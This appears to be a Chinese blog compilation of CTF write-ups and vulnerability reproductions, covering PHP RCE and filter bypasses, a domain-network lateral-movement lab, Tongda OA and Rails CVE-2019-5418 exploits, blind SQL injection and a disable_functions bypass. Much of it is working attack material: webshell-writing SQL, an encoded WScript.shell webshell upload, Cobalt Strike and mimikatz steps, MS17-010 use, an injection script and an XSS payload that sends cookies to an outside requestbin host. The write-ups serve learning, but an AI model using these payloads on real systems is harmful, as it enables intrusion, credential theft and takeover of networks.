考点:双$变量覆盖,RCE

<?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);

第一种解法:S=aa;system(“ls”);

linux环境下可以用;隔离执行,Windows不可以

本地搭建复现,可以看到原理

<?php 
    $b = eval("$a;system('ls');");
    highlight_file(__FILE__); 

非预期玩法:

?S=_POST[1](“ls”); POST传入1=system

当有过滤的时候也可以 S=_POST[1]($_POST[2]); POST传: 1=system&2=ls

天璇的CTF平台地址:http://ctf.merak.codes/

之前看群里有人问这道题,做一下记录一下,

第一层:查看源代码

 $query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}​

NCTF原题改编,构造Payload:

第一个if判断:php会把空格或者点(.)自动替换成下划线,可以用来绕过。

第二个if判断:数字后面加%0A绕过,正则匹配特性,加换行符,参看我前面php正则回溯的解释

Payload: ?b.u.p.t=23333%0A

第二层:解个JSFuck, POST:Merak=1即可得到源码:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> ​

第一个if,用XFF或者Client-IP,这里XFF被ban了

第二个php伪协议:(1)?2333= data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=

(2)php://input

最后file_get_contents()读取flag.php,发现经过了change函数加密,写一个逆解密脚本,

<?php
  function enc($payload){ 
      for($i=0; $i<strlen($payload); $i++){
        //原解密函数将chr(ord($v[$i])+$i*2)拼接在了最终返回值的后面
        $re .= chr(ord($payload[$i])-$i*2);  
      }
      return base64_encode($re);  
  }
  echo enc('flag.php');
  //flag.php加密后得到:ZmpdYSZmXGI=
?>​

得到结果怼进去得到flag。

前期准备:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/下载虚拟机

配置环境需要两张仅主机模式开启的网卡

构造这样的内网环境,Kali和Win7的外网IP处于同一网段,可以进行攻击,而Win7还有内网网段,通过拿下Win7机器继续攻击其处于内网同一网段的Win2003及其域控服务器。

首先登录Win7开启phpstudy,登陆密码hongrisec@2019,所有虚拟机密码都是这个。

复现:

因为在kali和win7在同一网段,所以可以使用netdiscover对主机IP进行探测

探测到129存在,应该就是目标Win7主机,对目标主机端口开放情况进行探测

nmap -sC -sV -Pn -p 1-65535 192.168.136.129

发现存在80端口开放,访问看到phpStudy探针页面,直接猜测佩戴了phpmyadmin,随即访问,猜测弱口令root/root登陆上去

接下来利用日志文件Getshell,参看我之前写的PHPMyadmin getshell到提权文章

show variables  like  ‘%general%’; #查看日志状态

SET GLOBAL general_log=’on’ ;#开启写日志记录

SET GLOBAL general_log_file=’C:/phpStudy/www/233.php’ ;#更改日志文件目录

写入一句话 SELECT ‘<?php eval($_POST[“cmd”]);?>’ ;蚁剑连接

这就拿到Win7机器的权限了,接下来就是进行对内网信息收集的过程了

内网信息收集

利用CS生成一个windows64位的exe文件(做好监听)监听选择TCP

用蚁剑将exe上传,打开虚拟终端运行,CS上线,可以看到是管理员权限

接下来进行为了后续的信息收集进行提权

选择内置提权的方式或者外部加载一些payload,参考我的CobaltStrike系列

拿到System权限,最后注意下CS默认心跳60秒,实战的时候确实应适当高一些,30秒左右差不多,靶机环境自行设置:sleep 10

beacon> hashdump,去获取NTLM哈希值可以尝试在cmd5等网站解密

beacon> shell ipconfig,查看Win7机器所处环境

可以看到192.168.136.129是其模拟的公网IP,192.168.50.133是其模拟的内网IP

判断是否有域

whoami
ipconfig /all
hostname
nslookup god.org
systeminfo
net config workstation
net view /domain
net time /domain

接下来利用神器Ladon,https://github.com/k8gege/Ladon

详细使用方法参看:https://www.cnblogs.com/k8gege/p/11907810.html

选择下图,点击Load,选择cna后缀的文件,即可与CS联动使用

因为知晓其内网网段,直接对其域成员及域控进行探测

域内存活主机探测/系统/端口

beacon> Ladon 192.168.50.0/24 OnlinePC

可以看到存在三台机器133是我们拿下的Win7,还有135和134

beacon> Ladon 192.168.50.0/24 OsScan

beacon> Ladon 192.168.50.0/24 PortScan 或者指定IP进行探测

横向移动

1.利用psexec(需要密码相同)

因为192.168.50.0/24段不能直接连接到192.168.136.128(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

前提先run mimikatz获取解密明文,如下图点击可以看到解密密码

接下来准备smb协议

选择后会再生成一个session, 再对50的B段进行445端口的扫描(CS里自带)

完成后在View中选择Targets,在win7内网IP处如图选择

session选择之前获得的system权限的一个即可,“Launch”后会获得两个System权限的内网机器,拿下域控。这里我只拿到这台域控,另一台有延迟或者其他原因一直连接不上。最后大佬说可以考虑哈希传递去搞,以后学习记录。

注:实战的话,这种方式横向移动有失败可能,因为需要其他机器的密码与我们拿下的机器的密码相同才可以,但是用这种方式横向移动没有解出明文密码也可进行。最后注意msf与CS在实战中特征量是比较明显的,有情况的话需注意。

2.令牌偷取

偷取完回到targets,选择域中其他两台机器

选择一个session“Launch”,但是这种方式效果不是很好,我测试的时候没有成功,不理解什么原因。

3.CS与MSF联动使用MS17-010

拿到shell后 建立一个对外的监听,端口随便,这里注意使用的是tcp

msf上开启监听

回到CS复制一份shell传给对外监听的那个,选择choose,msf上收到shell

上线后 添加路由

run get_local_subnets #查看当前网络网络情况

可以看到有两段,我们的目的将路由设到50网段中

run autoroute -s 192.168.50.0/24 #添加路由

run autoroute -p #查看路由添加情况

成功添加路由

bg将meterpreter会话放到后台运行

msf5 > use auxiliary/admin/smb/ms17_010_command

查看options看到可以修改命令,并执行,另一台机器同理,通过这种方法可以添加用户,开启3389远程登陆拿下域机器

这里我测试的时候常规的ms17_010打法失败,实战可以考虑尝试。

这篇文章真的学到了很多东西,也写了好久,不断摸索,文章中仍有部分未完全理解透的知识点,有些地方也只是知晓其使用方法,仍需在后续的学习中不断提高修复。

最后:内网学习主要是工具使用,内网环境及域环境知识利用,常用命令及其思路和利用点的应用,实战中可能一些骚招式能起到出其不意的效果,当然0day最强。本文横向移动的方法主要基于各虚拟机密码相同才会相对容易一下,实际情况很可能在拿下机器后需要登录进行更多的信息收集(如配置文件,重要文档)去获取其他机器密码,同时注意拿域控,拿域控,拿域控,重要的事情多强调。

考点:XFF修改的三种方式

抓包登录页,不输入admin即可,再末尾看到提示L0g1n.php

访问后让等到99年后才可以访问,抓包看到cookie处有time时间戳,在后面一顿加0即可,绕过后就是改HTTP修改,

这里记录三种修改源IP访问的方式

1)X-Forwarded-For

2)Client-IP

3) X-Real-IP

接着修改UA头, 谷歌搜索搜到Commodore的UA: Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)”,或者上UA大全找找

接着修改Referer头

修改完这几项看到还需要email来源,蓝箭头所指

接着修改via头

Via: 列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,他们用 
什么协议(和版本)发送的请求。 
当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面 
添加 Via 头部,并填上自己的相关信息,当下一个代理服务器 收到第一个代理 
服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的Via 
头部,并把自己的相关信息加到后面, 以此类推,当 OCS 收到最后一个代理服 
务器的请求时,检查 Via 头部,就知道该请求所经过的路由。 

最后获得flag

考点:PHP原生类反序列化

首先dirsearch一波扫发现git源码泄露,这里注意BUU上需要设置线程加上-s 0.5

接着githack一波down取源码,只有一个index.php文件

<?php
$a = $_GET[‘yds_is_so_beautiful’];
echo unserialize($a);

是个反序列化,经过一番搜索发现是原生类反序化
参考文章

本地构造payload并url编码,传给yds_is_so_beautiful

<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

本地弹个窗F12在cookie中获得flag

或者利用http://http.requestbin.buuoj.cn平台

<?php
$a = new Exception("<script>window.location.href=\"http://http.requestbin.buuoj.cn/1i5ahsg1?cookie=\"+escape(document[\"cookie\"])</script>");
$b = serialize($a);
echo urlencode($b);

其中li5ahsg1自行根据获取修改,将结果传入在url处得到flag

▶漏洞描述

通达OA是北京通达信科科技有限公司出品的 “Office Anywhere 通达网络智能办公系统”。

3月13日,通达OA在官方论坛发布通告称,近日接到用户反馈遭到勒索病毒攻击,提示用户注意安全风险,并且于同一天对所有版本发布了加固补丁。

在受影响的版本中,攻击者可以在未认证的情况下向服务器上传jpg图片文件,然后包含该文件,造成远程代码执行。该漏洞无需登录即可触发。

▶漏洞影响版本

  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013增强版
  • 2013版

▶ 漏洞分析与复现

任意文件上传

在厂商补丁的其他版本中出现了ispirit/im/upload.php这个路径,跟进来一看实际上是一个很明显的文件上传漏洞,而且是未授权的文件上传,分段来看一下代码。

先看未授权部分,P不为空的情况下,包含inc/session.php,并且通过 session_id 注册 session ,P可通过 POST[‘P’] ,因此不多赘述。

$P = $_POST["P"];
if (isset($P) || ($P != "")) {
	ob_start();
	include_once "inc/session.php";
	session_id($P);
	session_start();
	session_write_close();
}

再看下面这一小段,假设 DEST_UID 为空的情况下,会直接返回接收方ID无效相关信息,并且退出,因此这里的处理方式也很简单, DEST_UID 可通过 POST[“DEST_UID”] 搞定,这里也不多赘述了。

$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
	$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
	echo json_encode(data2utf8($dataBack));
	exit();
}

再往下走,当$_FILES全局变量大于等于1的时候,简单理解就是有文件上传的时候,会调用 upload 函数进行处理,这里的文件上传的 namename="ATTACHMENT"

if (1 <= count($_FILES)) {
	if ($UPLOAD_MODE == "1") {
		if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
			$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
		}
	}

	$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

跟进 upload 方法,可以很明显看到 is_uploadable 这个方法针对上传的文件名进行判断。

function upload($PREFIX, $MODULE, $OUTPUT)
{
	if (strstr($MODULE, "/") || strstr($MODULE, "\\")) {
		if (!$OUTPUT) {
			return _("参数含有非法字符。");
		}

		Message(_("错误"), _("参数含有非法字符。"));
		exit();
	}
  ...
		if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
			if (!is_uploadable($ATTACH_NAME)) {
				$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
			}

很明显存在一个后缀名非法的判断,所以这点并不能直接上传PHP文件。

function is_uploadable($FILE_NAME)
{
	$POS = strrpos($FILE_NAME, ".");

	if ($POS === false) {
		$EXT_NAME = $FILE_NAME;
	}
	else {
		if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {
			return false;
		}

继续往下走,因为上传不回显的话,搞定了也没啥用,还得猜文件名麻烦,找到了一个回显的地方。

if ($UPLOAD_MODE == "1") {
... if ($MSG_CATE == "file") {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
} else if ($MSG_CATE == "image") {
$CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
} else {
$DURATION = intval($DURATION);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
}
...
$dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID); echo json_encode(data2utf8($dataBack));

​手动验证构造文件上传poc

POST /ispirit/im/upload.php HTTP/1.1
Host: 目标IP
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 925
Content-Type: multipart/form-data; boundary=e59b4539bd28a1b69eb29cc9fa61fbc1

--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="P"

123
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="DEST_UID"

1
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="UPLOAD_MODE"

2
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="ATTACHMENT"; filename="1.txt"

<?php
$fp = fopen('readme.php', 'w');
$a = base64_decode("JTNDJTNGcGhwJTBBJTI0Y29tbWFuZCUzRCUyMndob2FtaSUyMiUzQiUwQSUyNHdzaCUyMCUzRCUyMG5ldyUyMENPTSUyOCUyN1dTY3JpcHQuc2hlbGwlMjclMjklM0IlMEElMjRleGVjJTIwJTNEJTIwJTI0d3NoLSUzRWV4ZWMlMjglMjJjbWQlMjAvYyUyMCUyMi4lMjRjb21tYW5kJTI5JTNCJTBBJTI0c3Rkb3V0JTIwJTNEJTIwJTI0ZXhlYy0lM0VTdGRPdXQlMjglMjklM0IlMEElMjRzdHJvdXRwdXQlMjAlM0QlMjAlMjRzdGRvdXQtJTNFUmVhZEFsbCUyOCUyOSUzQiUwQWVjaG8lMjAlMjRzdHJvdXRwdXQlM0IlMEElM0YlM0U=");
fwrite($fp, urldecode($a));
fclose($fp);
?>

--e59b4539bd28a1b69eb29cc9fa61fbc1--​

base64加密的内容可以自行构造,这里base64加密的原文是

<?php
$command=”whoami”;
$wsh = new COM(‘WScript.shell’);
$exec = $wsh->exec(“cmd /c “.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

发送后会在我们搭建的OA平台的根目录下的/attach/im/2003目录下生成850248632.1.txt,BP中因为后端代码原因将名字改变了。下面构造文件包含的时候注意更改。

文件包含

执行了文件上传要达到RCE的目的,还需要一个文件包含,包含点从补丁上找找,是这个ispirit/interface/gateway.php

简单分析一下,解析一个循环解析$json,假设$keyurl 的情况下,它的值会丢给$url,之后会调用 include_once 针对这个进行包含了。

if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json); foreach ($json as $key => $val ) { if ($key == "data") {
$val = (array) $val; foreach ($val as $keys => $value ) {
$keys = $value;
}
} if ($key == "url") {
$url = $val;
}
} if ($url != "") { if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
} if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) { include_once $url;
}
}

​ 所以从代码来看非常的简单,简单提一嘴,这套代码有 disable_function 的限制,需要bypass一下,整个过程非常的简单。

接下来再构造文件包含POC

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 目标IP
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 61
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2003\/850248632.1.txt"}

​运行完成后会在interface文件下生成一个readme.txt,访问即可看到我们之前base64构造的“whoami”命令执行结果。

本文章仅作漏洞复现。

文章参考:https://forum.90sec.com/t/topic/883

考点:过滤单引号,regexp注入

好早想记录下过滤单引号的方法了,比赛的时候也测出了单引号的过滤,但因为只是看别人的记录实际没搞过,最后也没做出。但总体还是不太难的。

依然抓包Fuzz测试,这里不放图了在username那里Fuzz,测出过滤了’ ” like = union select 等,这里最关键的就是单引号的过滤,直接限制了大部分的思路。

在hint.txt目录下我们又看到给出的后端语法

单引号字符逃逸

这种方法的关键是\转移符号的妙用,我们username传入admin\后,后端语句就变为了

select * from users where username=’admin\’ and password=’

把整个 admin\’ and password= 当作了用户名,而此时这个用户名必定是错误的,所以我们password传入||(1)#,这样整个语句就变为了

select * from users where username=’admin\’ and password=’ ||(1)#’

该语句必将成立因此形成逃逸返回为真。发包可以看到页面语句变化了

因此可以形成一个布尔盲注。这里大佬说即使构造出布尔也无法注出密码,于是选择regexp注入,这个的用法我前几篇的sql注入的wp中有过记录,同时这里学习一种新的方法Mysql中的BINARY用法

可以看出该用法有大小写区分,因为此题需要注意大小写区分。

贴上大佬脚本

import requests

url='http://3e0c17fa-1c58-4ebd-8f73-39adbb33a9a0.node3.buuoj.cn/'

def str2hex(string):

c='0x'

a=''

for i in string:

a+=hex(ord(i))

return c+a.replace('0x','')

alphabet = ['!','[',']','{','}','_','/','-','&',"%",'#','@','a','b','c','d','e','f','g','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

flag='^'

for i in range(0,20):

for y in alphabet:

tmp=flag+y

data = {

"username": "purplet\\",

"password": "||password regexp binary {}#".format(str2hex(tmp))
#binary可以区分大小写
}

x=requests.session()

if 'BJD needs' in x.post(url,data=data).text:

flag=tmp

break

print(flag.replace("^",""))

​仔细研究下脚本,直接通过regexp得出password的实际值,因为mysql默认情况不区分大小写,而password的值有大小写区分,所以在跑alphabet的列表时需要开启BINARY,同时注意可以用Mysql会对十六进制进行转义查询

0x5e65是^e的十六进制。这下脚本看懂了,吼吼!

注出password登入即可得到flag

0x00 简介

Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架,构建在 Ruby 语言之上。它被宣传为现有企业框架的一个替代,而它的目标,就是让 Web 开发方面的生活,变得更轻松。

0x01 漏洞概述

这个漏洞主要是由于Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,我们可以通过修改访问某控制器的请求包,通过“../../../../”来达到路径穿越的目的,然后再通过“{{”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。

0x02 影响版本

Rails 全版本

其中修复版本:

Rails 6.0.0.beta3,5.2.2.1,5.1.6.2,5.0.7.2,4.2.11.1

0x03 环境搭建

git clone https://github.com/vulhub/vulhub.git
cd /vulhub/rails/CVE-2019-5418
docker-compose up -d
自行修改端口默认3000

访问robots抓包将Accept的值改为如下所示,实现任意文件读取。权限还很高,应该是root权限可以读取shadow文件。

Accept: ../../../../../../etc/passwd{{

考点: 绕过disable_function ,无数字字母命令执行

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

可以看到代码要求不能输入数字和字母,代码长度不能超过40

用前几篇所学:?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,异或构造一个phpinfo 看一下PHP版本以及禁用函数:

可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被Ban了,先构造个Shell连上看一下:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

在根目录下看到flag和readflag二进制文件,很明显flag文件没有权限读取,只能执行readflag,但是这里因为前面disable_function函数的限制,什么也执行不了

想到蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF

下载新版蚁剑,安装插件右键shell选择“插件市场”安装disable_function插件,再右键shell,如下图选择

点击“选择模式”,选择PHP7_GC_UAF,点击开始进入终端,接下来运行得到flag